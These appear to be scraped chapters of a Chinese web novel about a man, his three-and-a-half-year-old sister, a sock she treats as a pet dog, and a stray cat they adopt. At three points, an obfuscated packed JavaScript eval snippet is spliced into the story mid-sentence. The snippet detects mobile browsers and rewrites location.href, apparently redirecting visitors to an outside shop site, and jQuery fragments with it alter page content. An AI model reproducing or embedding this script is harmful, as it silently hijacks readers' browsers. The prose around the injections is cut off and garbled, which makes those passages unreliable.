“可是是你自己说的呀!你说‘我不是东西’!” 姜牧野深吸一口气,决定结束这个话题。 “姜牧云,去收拾行李。” “好!但是哥哥你要记住——你是东西!不对,你不是东西!也不对——”她急得直跺脚,“哥哥你是很好的东西!不对,你是很好的人!非常好非常好的人!全世界最好的人!” 她说完之后,脸红扑扑的,转身跑了。 姜牧野站在原地,看着她跑远的背影,两个小揪揪在阳光下一晃一晃的。 他低下头,笑了。 然后他自言自语地说了一句:“你也是。” 声音很小。 小到连他自己都差点没听到。 但他知道,她听到了。 因为她在院子的另一边,忽然回过头来,冲他笑了一下。 笑得特别灿烂。 像整个夏天所有的阳光,都聚在了她一个人的脸上。 --- 下午两点,录制正式结束。 四组家庭在村口告别。 孙磊跟姜牧野握了握手,握得很用力:“姜老师,以后常联系。有空来我家吃饭,我给你做红烧肉——这次少放盐。” “好。” “还有,”孙磊压低声音,凑到他耳边说,“你妹妹要是想跟小壮玩,随时送来。小壮缺一个像云云这样的妹妹。” “爸爸,我不要妹妹!我要弟弟!”孙小壮在旁边喊。 “你闭嘴!妹妹好!妹妹贴心!” “弟弟好!弟弟可以跟我一起踢球!” “妹妹也可以踢球!” “妹妹踢球没力气!” “你说谁没力气!”姜牧云忽然插嘴,双手叉腰,瞪着孙小壮,“姜牧云踢球很有力气的!我可以把球踢到天上去!” “吹牛。” “没有吹牛!哥哥你说!姜牧云踢球是不是很有力气!” 姜牧野面无表情地说:“她上次把球踢进了邻居家的院子,把人家养的花盆打碎了。” “那是我故意的!那个花盆长得太丑了!我在帮邻居阿姨换一个新的!” “你赔了人家一盆新的,用你的零花钱。” “因为新的更好看!邻居阿姨可开心了!”她理直气壮地说。 孙小壮被她说得一愣一愣的,最后小声说:“那……那你下次来我家踢球吧。我们家没有花盆。” “好!”姜牧云爽快地答应了,“但是你要请我吃冰淇淋!草莓味的!” “……好。” “拉钩!” 两个小朋友郑重地拉了钩。 苏瑶走过来,蹲下来抱了抱姜牧云:“云云,阿姨好喜欢你。你要经常来找恬恬玩好不好?” “好!恬恬是我最好的朋友!” 林恬恬在旁边点头:“云云也是我最好的朋友!比毛绒熊还好!” “毛绒熊不会说话,云云会说话!”姜牧云认真地说,“会说话的朋友比不会说话的朋友好!因为可以聊天!” “那云云你要多说话!” “好!我会说很多很多话!把恬恬的话也说了!” “为什么要把我的话也说了?” “因为恬恬你说话太小声了!我帮你大声说!” 林恬恬想了想,觉得这个安排挺好的:“那你帮我说‘妈妈我爱你’好不好?我说不出口。” 姜牧云转头对着苏瑶,深吸一口气,用最大的音量喊:“阿姨!!!恬恬说她爱你!!!超级爱你!!!比你想象的还要爱你!!!” 声音之大,把旁边树上的一群鸟都惊飞了。 苏瑶又哭了。 这次哭得比上次还厉害。 陈江河和陈小树最后告别。陈小树走到姜牧云面前,递给她一张照片。 “送给你。”他说。 姜牧云接过照片一看——是她在篝火晚会上讲话的时候拍的。火光映在她脸上,她的眼睛亮亮的,嘴巴张着,好像在说什么很重要的话。 “这是什么时候拍的?”她好奇地问。 “昨天。你讲故事的时候。” “哇!好好看!姜牧云好好看!” “嗯,你很好看。”陈小树说,语气平淡得像在陈述一个事实,“我爸爸说,好看的人要拍下来,不然以后会忘记。” “姜牧云不会忘记你的!你叫什么名字?” “……陈小树。我们昨天一起玩了泥巴,你忘记了吗?” “没有忘记!我记得你!你是那个——那个——那个捡□□的哥哥!” “是癞蛤蟆。” “对!癞蛤蟆哥哥!” “我不叫癞蛤蟆哥哥,我叫陈小树。” “好的癞蛤蟆哥哥!”姜牧云笑嘻嘻地说,然后从口袋里掏出一个东西递给他,“送给你!这是姜牧云的礼物!” 陈小树接过来一看——是一只袜子。 灰色的、毛线的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437543|200985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揉成一团的袜子。 “这是土豆!”姜牧云介绍道,“土豆是我哥哥的袜子!不对,是我养的狗狗!它很乖的!它会瞬移!我把它送给你了!你要好好照顾它!” 陈小树看着手里这只皱巴巴的袜子,沉默了三秒。 “好,”他说,“我会好好照顾它的。” “那你给它拍张照片!” 陈小树举起相机,对着袜子拍了一张照片。 “拍好了。” “好看吗?” “好看。它很上镜。” “真的吗!”姜牧云开心地蹦了一下,“土豆你听到了吗!你上镜了!你好厉害!” 袜子当然没有反应。 但陈小树把它小心地放进了口袋里。 陈江河看着儿子的举动,嘴角弯了一下。 “姜老师,”他对姜牧野说,“谢谢你。这两天,小树很开心。” “云云也很开心。”姜牧野说。 “你妹妹……她是个特别的孩子。”陈江河斟酌着用词,“不是说她聪明或者可爱——虽然她确实聪明又可爱——我是说,她有一种……能力。” “什么能力?” “让身边的人觉得,世界没有那么糟糕的能力。” 姜牧野看着他。 “我离婚之后,有一段时间觉得世界是灰色的。”陈江河的声音很轻,“但是这两天,我看到云云跟你说话、跟你玩、跟你撒娇——我看到她把你逗笑的样子——我忽然觉得,世界可能没有那么灰。” “一个三岁半的小孩,能让你笑。这件事本身,就是一件很了不起的事。” 姜牧野没有说话。 他看向姜牧云——她正在跟陈小树告别,小手挥得高高的,两个小揪揪在风中飘啊飘的。 “嗯,”他说,“她很了不起。” 车子发动了。 姜牧云趴在车窗上,对着窗外使劲挥手:“再见!孙叔叔!小壮哥哥!苏瑶阿姨!恬恬!陈叔叔!癞蛤蟆哥哥!再见!再见!再见!” 她喊得太用力了,小脸涨得通红。 车子开出了村子,开过了向日葵花田,开上了高速公路。窗外的风景从金色变成绿色,从田野变成山峦,从山峦变成城市。 姜牧云终于不喊了。 她靠在安全座椅上,喘着气,像一只刚跑完马拉松的小狗。 “哥哥,”她说,“姜牧云好累。” “你喊了十分钟,当然累。” “可是姜牧云不想走!那里好好玩!有泥巴!有鸭子!有篝火!有棉花糖!还有好多好多朋友!” “以后还可以再来。” “真的吗?” “真的。” “什么时候?” “等你长大一点。” “长大一点是多大?” “五岁。” “五岁好久!还有一年半!一年半是多少天?” “……大概五百多天。” “五百多天好久!五百多天是多少个明天?” “五百多个明天。” “那姜牧云要等五百多个明天才能再来?” “嗯。” “好长啊……”她叹了口气,小脸上写满了惆怅。 但只惆怅了三秒。 “那在这五百多个明天里,哥哥你要陪姜牧云玩!” “好。” “每天都要!” “尽量。” “不要尽量!要一定!” “好,一定。” “拉——不对,不能拉钩了!我们说好了!说好了就是说好了!” “好,说好了。” 姜牧云满意地点了点头,然后打了一个大大的哈欠。 “哥哥,姜牧云想睡觉了。” “睡吧。” “到家了你叫我。” “好。” “不要像上次一样,到家了不叫我,把我抱上楼。” “为什么不要?” “因为姜牧云想自己走回家。姜牧云长大了,可以自己走路了。” “好,到家我叫你。” “嗯……”她的眼睛慢慢闭上了,嘴巴还在动,“哥哥……谢谢你带姜牧云来玩……姜牧云好开心……好开心好开心……” 声音越来越小,越来越含糊,最后变成了一阵均匀的呼吸声。 阳光透过车窗照在她脸上,在她的睫毛上镀了一层金色的光。她的嘴角弯着,弯成一个浅浅的弧度,像一弯小小的月牙。 姜牧野看着她,伸手把她头顶上歪掉的小揪揪重新扎好。 车子驶入了城市的街道,两旁是高楼大厦和川流不息的车流。窗外的世界很大,很忙,很快。 但车里很安静。 很慢。 很暖。 姜牧野靠在座椅上,闭上了眼睛。 他的嘴角也是弯着的。 弯成一个跟姜牧云一模一样的弧度。 像一弯月牙。 一大一小。 一个在梦里,一个在梦外。 17. 土豆回家记 姜牧云在门口等了二十分钟,忽然开口了。 “哥哥,你说土豆是不是在外面交到了新朋友?” “也许。” “那它的新朋友是什么?是另一只袜子吗?” “也许是另一只袜子。” “那它们会一起玩什么?” “玩……瞬移。” “两只袜子一起瞬移!那一定好好玩!”她想象了一下那个画面,眼睛里亮起了小星星,“它们会‘咻——’的一下从这里消失,又‘咻——’的一下从那里出现!好厉害!” “嗯。” “那土豆会不会不想回来了?因为它有了新朋友?” “土豆不会忘记你的。” “你怎么知道?” “因为土豆是你养的。狗狗不会忘记主人。” “可是土豆不是普通的狗狗!它是会瞬移的狗狗!会瞬移的狗狗会不会忘记主人?” “不会。瞬移和记忆是两回事。” “那它的记忆在哪里?在它的毛线里面吗?” “在它的……心里。” “袜子也有心?” “土豆有心。” 姜牧云想了想,认真地点了点头:“对,土豆有心。土豆的心跟姜牧云的心是连在一起的。所以它不会忘记我。” 她低头看了看自己的胸口,又看了看门口的草莓,小声说:“土豆,姜牧云在等你。你要快点回来哦。草莓放着会坏掉的。” 话音刚落—— “喵——” 一只橘白色的流浪猫从院子外面跳了进来,径直走向门口的三颗草莓。 “啊!!!不可以!!!”姜牧云从椅子上蹦起来,张开双臂挡在草莓前面,“这是土豆的草莓!你不可以吃!” 橘猫看了她一眼,慢条斯理地舔了舔爪子,完全没有要走的意思。 “这是土豆的!土豆回来要吃的!你吃了土豆吃什么!”姜牧云急了,小脸涨得通红,“你走开!走开走开!” 橘猫不为所动。它甚至往前迈了一步。 “哥哥!!!”姜牧云转头求救,“这只猫不听我的话!” 姜牧野站起来,走到门口。橘猫抬头看了他一眼,评估了一下这个两脚兽的体型,然后做出了一个理性的决定——转身跳出了院子。 但它在墙头上停了下来,蹲在那里,用一双琥珀色的眼睛居高临下地看着姜牧云,好像在说:“小气鬼,不就三颗草莓吗。” “它还在看!”姜牧云指着墙头上的橘猫,“它在瞪我!” “它没有瞪你,它只是在看。” “它在看草莓!它想吃土豆的草莓!” “那你把草莓拿进来。” “可是拿进来土豆回来就看不到了!它不知道我们在等它!” “土豆不需要看到草莓才知道我们在等它。” “那它怎么知道?” “它心里知道。” 姜牧云看了看姜牧野,又看了看墙头上的橘猫,又看了看地上的三颗草莓,陷入了两难。 最后她做了一个折中的决定——把草莓从门口移到门槛里面,这样橘猫够不到,土豆回来的时候又能看到。 她蹲下来,小心翼翼地把三颗草莓一颗一颗地挪到门槛内侧,排成一排。然后她站起来,拍了拍手,对着墙头上的橘猫说:“这是土豆的!你不能吃!你要是饿了,让哥哥给你买猫粮!” “我没有说要给它买猫粮。”姜牧野说。 “哥哥,它好可怜。它是一只流浪猫,没有家,没有主人,没有草莓。我们就给它买一点点猫粮嘛。” “你刚才还说它要吃土豆的草莓。” “可是它不知道那是土豆的呀!它只是一只猫!猫不懂的!” “那你刚才为什么凶它?” “因为……因为……”她低下头,声音变小了,“因为姜牧云太着急了。土豆不见了,姜牧云好担心,所以看到猫要吃草莓就急了。” 她抬起头,看着墙头上的橘猫,小声说:“小猫,对不起。姜牧云不应该凶你。你不是坏猫,你只是饿了。” 她从门槛上拿起一颗草莓,走到墙边,踮起脚尖,把草莓放在墙根下面。 “这个给你吃。但是另外两颗是土豆的,你不能吃哦。” 橘猫从墙头上跳下来,走到草莓旁边,闻了闻,然后开始吃。 姜牧云蹲在旁边,看着橘猫吃草莓,表情温柔得像一个在看孩子吃饭的妈妈。 “哥哥,它好乖。”她小声说。 “嗯。” “它吃东西的样子好好看。” “嗯。” “它的毛是橘色的,好像太阳的颜色。” “嗯。” “哥哥,我们可以养它吗?” “……你不是已经有土豆了吗?” “土豆是狗狗,猫猫是猫猫!不一样!狗狗和猫猫可以一起养的!阿姨说的!阿姨家就养了一只狗和一只猫,它们可好了,一起吃饭一起睡觉!” “阿姨家的是从小一起长大的。土豆是一只袜子,猫是活的——” “土豆也是活的!土豆会瞬移!活的!” “……” “哥哥,求你了。”她转过头,双手合十,葡萄眼里满是期待,“姜牧云会好好照顾它的!给它喂饭、给它梳毛、给它铲屎!所有的事情姜牧云都自己做!” “你连自己的头发都梳不好。” “姜牧云会学的!为了猫猫,姜牧云什么都可以学!” 橘猫吃完了草莓,舔了舔嘴巴,抬头看了看姜牧云,然后做了一件让姜牧云彻底沦陷的事—— 它走到她脚边,用脑袋蹭了蹭她的小腿。 “哥哥!!!它蹭我了!!!它喜欢我!!!”姜牧云激动得差点跳起来,但她忍住了,因为她怕吓到猫。她蹲在那里,一动不动,只有嘴巴在动,“小猫,你也喜欢姜牧云对不对?你也想住在这里对不对?你不想再流浪了对不对?” 橘猫又蹭了蹭她,然后“喵”了一声。 “它说‘对’!”姜牧云转头看姜牧野,眼睛亮得像两颗小太阳,“哥哥你听到了吗!它说‘对’!” “它只是叫了一声。” “那就是‘对’的意思!姜牧云翻译的!姜牧云会猫语!” “你什么时候会的?” “刚才!猫语很简单的!喵喵喵就是‘你好’,喵——喵——就是‘我饿了’,喵喵喵喵就是‘我好喜欢你’!” “那它刚才叫的是什么?” “它说——‘我好喜欢姜牧云,我想住在这里,我会很乖的’!” 橘猫又“喵”了一声。 “它说‘求求你了’!”姜牧云的眼眶红了,“哥哥,它在求我。它好可怜。它没有家,没有主人,没有草莓。它只有我们了。” 姜牧野看着蹲在地上的妹妹,又看着那只蹲在她脚边的橘猫。 橘猫抬起头,用那双琥珀色的眼睛看着他。 那眼神里没有哀求,没有可怜,只有一种淡淡的、审视的、好像在评估这个人值不值得信任的目光。 姜牧野跟它对视了三秒。 “先养几天试试。”他说。 “耶!!!”姜牧云终于忍不住蹦了起来,橘猫被她吓了一跳,往后跳了一步,“对不起对不起!姜牧云太开心了!”她赶紧蹲下来道歉,“小猫,你不要怕,哥哥答应了!你可以住在这里了!这里就是你的家了!” 橘猫谨慎地看着她,确认没有危险之后,慢慢走回来,又蹭了蹭她的小腿。 “哥哥你看!它在谢谢我!” “嗯。” “它叫什么名字?” “你想叫什么?” 姜牧云认真地想了想,看了看橘猫橘色的毛,又看了看院子里的大槐树,又看了看天空中的太阳。 “叫橘子!”她说,“因为它的毛是橘色的,好像一个橘子!” “橘子?” “对!橘子!好可爱的名字!对不对小猫?你喜欢这个名字吗?” 橘猫打了个哈欠。 “它说喜欢!”姜牧云自动翻译,“它说‘橘子’是全世界最好听的名字!” 姜牧野看着这一幕,忽然想起了一件事——他们原本是在找土豆的。 “姜牧云,土豆还没找到。” 姜牧云的笑容凝固了一秒。 “对哦……土豆……”她低头看了看门槛上剩下的两颗草莓,“土豆还没回来。” 她蹲下来,对着橘猫说:“橘子,你在外面有没有看到一只灰色的、毛线的、会瞬移的狗狗?它叫土豆,是姜牧云的狗狗。” 橘猫舔了舔爪子。 “它说没有看到。”姜牧云翻译,“但是它说它会帮我们找的。橘子好乖。” 她站起来,左手拉着姜牧野,右手招呼橘子:“走吧,我们进屋等土豆。橘子你饿不饿?姜牧云给你找吃的!” 她跑进厨房,打开冰箱,翻出了一小块鸡胸肉。 “哥哥,这个可以给橘子吃吗?” “可以,但要撕成小块。” “好!”她把鸡胸肉放在案板上,拿起一把塑料小刀,认真地切了起来。她切得很慢,每一刀都小心翼翼的,切出来的鸡肉块大小不一——有的像黄豆,有的像花生,有的像一块被压扁了的橡皮泥。 她把切好的鸡肉放在一个小碟子里,端到橘子面前。 “橘子,吃饭了!这是姜牧云给你做的!虽然没有哥哥做的好看,但是很好吃!因为里面有姜牧云的爱!” 橘子低头闻了闻,然后开始吃。 姜牧云蹲在旁边,双手托着下巴,看着橘子吃东西,脸上写满了幸福。 “哥哥,你看它吃得好香!” “嗯。” “它喜欢我做的饭!” “嗯。” “姜牧云以后要当厨师!给猫猫狗狗做饭!给土豆做饭!给哥哥做饭!” “你会做饭了?” “会!姜牧云会切鸡肉!会摆水果!还会烤棉花糖!还会做煎饼!虽然煎饼长得像土豆!” “你说的这些,除了切鸡肉,其他的都不是正经的饭。” “可是好吃呀!好吃就行了!对不对橘子?” 橘子吃完了鸡肉,舔了舔嘴巴,发出了一声满足的“喵”。 “它说对!”姜牧云得意地笑了。 就在这时—— “啪嗒。” 一个轻微的声响从客厅传来。 姜牧云竖起耳朵:“哥哥,你听到了吗?” “听到了。” “是什么声音?” “不知道。” 他们走到客厅,顺着声音的方向看去—— 电视柜下面,一个灰色的、毛线的、揉成一团的东西,正在缓慢地、以一种不可思议的方式移动着。 是土豆。 “土豆!!!”姜牧云尖叫着扑过去,趴在地上,把土豆从电视柜下面捞出来,“土豆你回来了!你去哪里了!姜牧云好想你!” 她把土豆抱在怀里,紧紧地贴着胸口。 “你去探险了对不对?你交到新朋友了对不对?你玩得开心吗?你有没有想姜牧云?你有没有饿?我给你留了草莓!你看!” 她跑到门口,把门槛上的两颗草莓拿过来,放在土豆旁边。 “你吃!这是姜牧云给你留的!橘子想吃我都没给!只给你留了!” 土豆当然不会吃草莓。它是一只袜子。 但姜牧云不在乎。她把草莓塞进土豆的“身体”里——也就是把草莓裹在袜子里——然后满意地说:“土豆吃饱了!它好开心!” 橘子蹲在旁边,看着这一幕,眼神里有一种难以言喻的困惑。 它大概在想:这个人类幼崽,到底是聪明还是傻? 姜牧野也在想同样的问题。 但他没有想太久。 因为姜牧云已经抱着土豆,蹲在橘子面前,开始了她的“家庭成员介绍” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437544|200985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' : “橘子,这是土豆。土豆,这是橘子。你们要好好相处哦。土豆你是哥哥,橘子你是妹妹——不对,土豆你是狗狗,橘子你是猫猫,你们不是同一个物种——但是没关系!不同的物种也可以做好朋友!就像哥哥是人,姜牧云也是人,我们也是不同的——不对,我们是同一个物种——但是没关系!重要的是互相喜欢!” 她一口气说了一大段话,然后深吸一口气,总结道:“总之!你们要好好相处!因为我们现在是一家人了!” 橘子和土豆被并排放在沙发上。 土豆一动不动,安详地躺在那里,里面还裹着两颗草莓。 橘子蹲在旁边,用爪子轻轻地碰了碰土豆,然后缩回爪子,歪着头看了看这个奇怪的“新家人”。 “喵。”它叫了一声。 “它说‘你好,土豆’。”姜牧云翻译。 土豆当然没有回应。 “土豆说‘你好,橘子’。”姜牧云替它回答,“它说‘你的毛好漂亮,好像太阳’。” 橘子又“喵”了一声。 “它说‘谢谢,你的毛也很漂亮,虽然你没有毛’。” 姜牧野站在旁边,看着妹妹一个人分饰两角,给一只猫和一只袜子做翻译,表情复杂。 “姜牧云,”他说,“你确定你听得懂猫语?” “确定呀!猫语很简单的!比英语简单!英语好难!阿姨给我看英语动画片,里面的猫说的英语我都听不懂!但是橘子说的猫语我都听得懂!” “那是因为橘子说的是中文猫语。” “猫还有中文和英文的区别吗?” “有。中文猫语是‘喵’,英文猫语是‘meow’。” “那有什么区别?” “‘喵’和‘meow’的发音不一样。” “可是听起来一样呀!” “不一样。一个是‘喵’,一个是‘米奥’。” 姜牧云认真地想了想,然后对着橘子说:“meow。” 橘子看了她一眼,没有反应。 “它听不懂英文。”姜牧云下结论,“它是一只中国猫。” “那你刚才说猫语很简单,你怎么不会说英文猫语?” “因为姜牧云是中国人!中国人说中文猫语!不说英文猫语!”她理直气壮地说,“橘子也是中国人!所以我们说中文猫语!” 姜牧野放弃了。 “好吧,你们说中文猫语。” “哥哥你也可以学的!很简单的!就是‘喵’!你说一个!” “不说。” “说嘛!就一个字!” “不说。” “哥哥你是不是不会?” “我会。” “那你为什么不说?” “因为我是大人。” “大人也可以说‘喵’呀!孙叔叔那么大的大人都说了!昨天在泥潭里他学猫叫,学得可像了!” “……那是意外。” “不是意外!他是故意的!他说他要逗恬恬开心!大人也可以说‘喵’!说了不会死的!” “我没说会死。” “那你说!” 姜牧野看着她期待的眼神,沉默了三秒。 “……喵。” 声音很小,小到几乎听不到。像一只蚊子飞过耳边。 但姜牧云听到了。 “哈哈哈哈哈哈!哥哥说‘喵’了!哥哥说‘喵’了!”她笑得在沙发上打滚,土豆从她怀里滚了出来,掉在地上,里面的草莓也滚了出来。 橘子被她的笑声吓了一跳,跳到了沙发的最高处,蹲在那里,用一双“这个人类幼崽是不是疯了”的眼神看着她。 “哥哥你说得好小声!像一只小蚊子!不对,像一只小蚂蚁!蚂蚁都不会说‘喵’!蚂蚁只会说‘嘶嘶嘶’!” “蚂蚁不会说话。” “会的!蚂蚁会说‘嘶嘶嘶’!因为它们的脚在草地上走的时候会发出‘嘶嘶嘶’的声音!那就是蚂蚁语!” “那不是蚂蚁在说话,那是草被踩的声音。” “草也会说话?” “草不会说话。” “那‘嘶嘶嘶’是什么?” “……是风。” “风也会说话?” “风不会说话,风只是发出声音。” “那风的声音是什么语?” “风的语言。” “风的语言是什么样的?” “呼呼呼。” “那姜牧云也会说风语!呼呼呼!”她对着空气吹了一口气,腮帮子鼓得像一个小气球,“哥哥,我说的风语标准吗?” “……标准。” “那姜牧云会说猫语、风语、鱼语,还会一点点狗语!姜牧云好厉害!” “你什么时候会狗语了?” “土豆教的!土豆是狗狗!它会说狗语!狗语是‘汪汪汪’!很简单!” “那你说一句狗语。” “汪汪汪!” “什么意思?” “意思是‘哥哥是世界上最好的人’!” “狗语里‘哥哥’怎么表达?” “就是‘汪汪’!第一个‘汪’是‘哥’,第二个‘汪’是‘哥’,连起来就是‘哥哥’!” “那‘世界上最好的人’呢?” “就是第三个‘汪’!一个‘汪’就可以代表很多意思!狗语很厉害的!跟你的‘嗯’一样厉害!” 姜牧野沉默了。 他忽然觉得,姜牧云的“语言天赋”,其实是一种很高阶的哲学能力—— 她能把任何声音解释成她想要的意思。 而且她的解释永远自洽。 至少在她说出口的那一瞬间,是自洽的。 这就够了。 毕竟她才三岁半。 三岁半的小孩,不需要逻辑。 她只需要爱。 而她的爱,不需要翻译。 谁都听得懂。 18. 橘子的一天 橘子正式成为姜家的一员了。 姜牧野本来打算“先养几天试试”,但姜牧云显然已经把这句话理解成了“橘子是我们家的猫了,永远都是,拉过钩的”。 虽然他们并没有拉钩。 但姜牧云说:“哥哥你说‘先养几天试试’的时候,你的眼睛说了‘好’。” “眼睛不会说话。” “会的!你的眼睛说了!我看到了!你的眼睛在说‘好,云云,我们养它’。” 姜牧野已经放弃了纠正她。 橘子在姜家安顿下来之后,姜牧云的生活多了一项新的内容——跟橘子聊天。 不,不是聊天。是单方面输出。 因为橘子大部分时间都在睡觉。猫嘛,一天要睡十六个小时。但姜牧云不在乎橘子睡不睡。她可以对着一个睡着的橘子说上半个小时的话,完全不觉得无聊。 “橘子,你睡觉的样子好好看。你的胡子在动!你是不是在做梦?你梦到了什么?是不是梦到了鱼?还是梦到了老鼠?姜牧云昨天也做梦了!梦到了一只好大的猫!比你还大!但是它不会说话!因为它是一只外国猫!说英文的!姜牧云听不懂!好可惜……” 橘子翻了个身,把肚皮露出来。 “橘子你把肚皮露出来了!你是不是想让我摸?姜牧云摸摸!” 她伸出小手,轻轻地摸了摸橘子的肚皮。橘子的毛软软的、暖暖的,手感像一块被太阳晒过的绒毯。 “好软!哥哥!橘子的肚子好软!你摸摸!” 姜牧野走过来,伸手摸了一下。 确实软。 “比姜牧云的肚子还软!”她低头摸了摸自己的肚子,“姜牧云的肚子没有毛,所以不够软。好可惜。姜牧云也想有毛。” “你没有毛也很可爱。” “真的吗?” “真的。” “那你摸一下姜牧云的肚子!” “……不摸。” “为什么!” “因为你是人,不是猫。摸肚子很奇怪。” “可是你说我没有毛也很可爱!可爱就应该被摸!” “可爱不一定要被摸。” “那可爱应该被做什么?” “被……看着就行了。” “看着就够了?” “够了。” “那哥哥你看着我。” 姜牧野看着她。 她坐在沙发上,怀里抱着橘子,橘子在她腿上睡得正香。她的头发有点乱,两个小揪揪一个高一个低(今天早上是她自己扎的),嘴角还沾着早饭的草莓酱,眼睛亮晶晶地看着他。 “看到了。”他说。 “然后呢?” “然后……你很可爱。” “然后呢?” “没有了。” “就只是看着,说一句‘你很可爱’,就没有了?” “够了。” “不够!”她鼓起腮帮子,“可爱应该被抱抱!被亲亲!被举高高!” “举高高?你以为你还在两岁?” “姜牧云永远喜欢举高高!不管几岁都喜欢!哥哥你举!” “不行,你太重了。” “姜牧云才不重!你昨天抱我的时候说我很轻!” “那是相对的。跟大象比你很轻,跟橘子比你很重。” “橘子才几斤!姜牧云好几斤!当然比橘子重!但是比哥哥轻!所以哥哥可以举!” “举高高是两岁小孩玩的。” “姜牧云就是两岁小孩——不对,姜牧云三岁半了!三岁半也可以举高高!举高高不分年龄!” “分的。两岁以上就不能举了。” “谁说的?” “联合国说的。” “联合国是什么?” “一个组织。” “组织是什么?” “就是……一群人。” “一群人说的不算!姜牧云说的才算!姜牧云说三岁半可以举高高!” 她站起来,张开双臂,做出一个“抱我”的姿势。 橘子被她吵醒了,不满地“喵”了一声,从她腿上跳下来,走到沙发角落里继续睡。 “你看,橘子都被你吵醒了。” “对不起橘子!姜牧云不是故意的!姜牧云只是想被哥哥举高高!”她对着橘子道歉,然后转头继续对姜牧野张开双臂,“哥哥!” 姜牧野叹了口气。 他弯下腰,双手插在她的腋下,把她举了起来。 “耶!!!举高高!!!”姜牧云在空中挥舞着四肢,笑得像一朵绽开的花,“姜牧云飞起来了!哥哥你看!姜牧云在飞!” “你不是在飞,你只是被我举着。” “一样的!被哥哥举着就是飞!因为哥哥的手就是姜牧云的翅膀!” 她把双臂张开,做出飞翔的姿势,两个小揪揪在空中晃来晃去。 “橘子你看!姜牧云在飞!你会飞吗?猫不会飞!但是姜牧云会!因为姜牧云有哥哥!” 橘子从沙发角落里抬起头,看了她一眼,然后继续睡了。 “橘子好无聊!它都不看我飞!”她撅起嘴。 “猫不喜欢看人飞。” “那猫喜欢看什么?” “猫喜欢看鸟、看鱼、看窗外的东西。” “那姜牧云带橘子去看鸟!” “你先把早饭吃完。” “好!”姜牧野把她放下来,她跑到餐桌前,三口两口把剩下的面包塞进嘴里,腮帮子鼓得像两只气球,“吃完了!走吧哥哥!带橘子去看鸟!” 姜牧野看着桌子上被她吃出来的面包屑和草莓酱,默默地拿起抹布擦干净。 然后他抱起橘子,牵着姜牧云的手,走到了院子里。 院子里有一棵大槐树,槐树上经常有麻雀来歇脚。姜牧野把橘子放在草坪上,橘子立刻竖起耳朵,眼睛盯着树上的麻雀,尾巴尖轻轻地摇着。 “橘子在看鸟!”姜牧云蹲在橘子旁边,小声说,“它好认真!眼睛都不眨!” “猫看到鸟的时候会这样。” “它会去抓鸟吗?” “也许会。” “那鸟会不会害怕?” “会。” “那姜牧云不要让橘子抓鸟!鸟好可怜!它们只是来歇脚的!” “猫抓鸟是天性。” “天性是什么?” “就是……天生的本能。猫生来就会抓鸟。” “那姜牧云生来就会做什么?” “会说话。” “姜牧云生来就会说话吗?” “不是生来就会,是你学得很快。” “谁教我的?” “妈妈和阿姨。” “哥哥没有教吗?” “那时候我在外面工作。” “哦……”她低下头,沉默了一会儿,然后抬起头,“那哥哥现在教姜牧云好不好?” “教你什么?” “教姜牧云怎么不让橘子抓鸟!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437545|200985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这个不用教。你把橘子抱紧就行了。” “好!”她把橘子抱起来,紧紧地搂在怀里,“橘子你不要抓鸟!鸟是我们的朋友!朋友不能抓!你如果想玩,姜牧云陪你玩!你想抓东西,姜牧云给你买玩具!你什么都不要抓,只要抓姜牧云就行了!” 橘子被她抱得太紧了,不舒服地扭了扭身体。 “它说‘你抱得太紧了’!”姜牧云赶紧松开一点,“对不起橘子!姜牧云不是故意的!姜牧云只是想保护鸟!” 橘子从她怀里跳出来,跑到槐树下面,仰头看着树上的麻雀,尾巴尖摇得更快了。 “哥哥,它还是想抓鸟!” “嗯,我看到了。” “怎么办?” “没办法。猫看到鸟就会想抓。就像你看到草莓冰淇淋就会想吃一样。” “姜牧云看到草莓冰淇淋不会想抓!姜牧云会想吃!不一样!” “本质是一样的——都是本能的冲动。” “姜牧云的本能冲动是吃草莓冰淇淋!猫的本能冲动是抓鸟!那哥哥的本能冲动是什么?” 姜牧野想了想。 “……保护你。” 姜牧云愣了一下。 然后她笑了。 笑得特别甜,特别暖,特别像——被全世界保护着的感觉。 “那哥哥的本能冲动是最好的本能冲动!”她说,“比吃草莓冰淇淋好!比抓鸟好!比所有都好!” 她跑过来,抱住姜牧野的腿,把脸贴在他的膝盖上。 “哥哥,你保护姜牧云,姜牧云保护橘子和土豆,橘子和土豆保护鸟。我们是一个保护链!” “保护链?” “对!就像食物链一样!但是我们是保护链!我们不互相吃,我们互相保护!” 姜牧野低头看着她。 阳光透过槐树的叶子照在她脸上,斑斑驳驳的,但她笑得很完整。 “嗯,”他说,“互相保护。” 橘子终于放弃了抓鸟的念头,走到姜牧云的脚边,蹭了蹭她的小腿。 “你看!橘子也在保护我!它在说‘姜牧云你不要怕,有我在,鸟不敢欺负你’!” 